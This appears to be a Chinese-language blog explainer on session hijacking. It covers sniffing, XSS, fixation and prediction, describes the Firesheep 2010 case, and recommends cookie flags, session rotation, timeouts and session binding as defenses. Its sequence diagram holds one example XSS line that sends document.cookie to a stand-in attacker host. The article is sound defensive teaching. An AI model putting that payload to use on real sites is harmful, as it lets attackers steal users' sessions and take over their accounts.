Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

會話劫持 (Session Hijacking)

| , 2 minutes reading.

1. 定義

會話劫持 (Session Hijacking)(又稱會話側劫持)是指攻擊者接管用戶活躍會話的攻擊行為。攻擊者竊取或預測有效的 會話 ID (Session ID),並利用它來冒充受害者。由於伺服器通過該 ID 識別用戶,一旦 ID 被劫持,伺服器會認為攻擊者就是合法的登入用戶。

2. 技術原理

HTTP 是無狀態協定。為了保持登入狀態,伺服器會簽發 會話 ID。 如果這個 ID 被竊取,帳號的「鑰匙」就丟了。在這個階段,用戶的原始密碼已不再重要。

常見劫持方法:

  1. 會話嗅探 (Sniffing): 在未加密的 HTTP 流量(如公共 Wi-Fi)中截獲 Cookie。
  2. 跨站腳本 (XSS): 通過 document.cookie 竊取 Cookie。
  3. 會話固定 (Session Fixation): 攻擊者在用戶登入之前,先將其會話 ID 設置為已知值。
  4. 會話預測: 會話 ID 的生成演算法過於簡單(如順序數字),導致攻擊者可以猜出有效的 ID。
sequenceDiagram
    participant Victim as 受害者
    participant App as Web 應用程式
    participant Attacker as 攻擊者

    Victim->>App: 登入
    App-->>Victim: Set-Cookie: session=ABC123XYZ

    Note over Victim: 受害者訪問了被注入 XSS 的頁面
    
    Victim->>Attacker: GET /steal?cookie=ABC123XYZ
    Note right of Victim: 惡意腳本執行:<br/>fetch('attacker.com?c=' + document.cookie)

    Attacker->>App: GET /account (攜帶 Cookie: session=ABC123XYZ)
    Note right of Attacker: 攻擊者重放 (Replay) 竊得的 Cookie
    
    App-->>Attacker: 200 OK (顯示受害者的後台界面)

4. 真實案例:Firesheep (2010)

背景: 當時大多數網站僅在登入頁面使用 HTTPS,登入後即回退到 HTTP。 漏洞類別: 會話側劫持(未加密傳輸)。

工具影響: 2010 年,Eric Butler 發布了名為 Firesheep 的 Firefox 擴充功能。 當時 Facebook 和 Twitter 等網站對會話 Cookie 缺乏加密保護。Firesheep 可以嗅探開放 Wi-Fi(如咖啡館)中的未加密流量。它會在側邊欄顯示附近所有登入用戶的頭像。用戶只需雙擊頭像,就能瞬間在瀏覽器中劫持該用戶的 Facebook 帳號。

影響: 這一工具迫使整個網際網路行業開始全面採用 HTTPS Everywhere (HSTS) 和安全 Cookie 屬性,標誌著「混合內容會話」時代的終結。

5. 深度防禦策略

為會話 Cookie 配置嚴格的標誌:

  • Secure 確保 Cookie 僅通過加密的 HTTPS 連接發送。防止嗅探。
  • HttpOnly 禁止 JavaScript 訪問 Cookie (document.cookie)。防止 XSS 竊取。
  • SameSite (StrictLax) 防止 CSRF 及部分資訊洩漏。
Set-Cookie: session_id=...; Secure; HttpOnly; SameSite=Lax

B. 會話輪轉 (Session Rotation)

務必在用戶成功登入後立即簽發全新的會話 ID。

  • 這能有效防止會話固定攻擊。即使攻擊者在登入前注入了 ID,該 ID 在用戶認證後也會立即失效。

C. 縮短會話生命週期

  • 閒置逾時: 在用戶停止操作 15-30 分鐘後自動註銷。
  • 絕對逾時: 即使一直活躍,也在固定時長(如 24 小時)後強制重新認證。

D. 會話綁定 (Session Binding - 高級)

將會話 ID 與客戶端屬性(如 User-Agent、IP 子網)綁定。

  • 檢查機制: 如果請求攜帶正確的 Cookie 但 User-Agent 發生了變化,則判定為異常並作廢會話。

6. 參考資料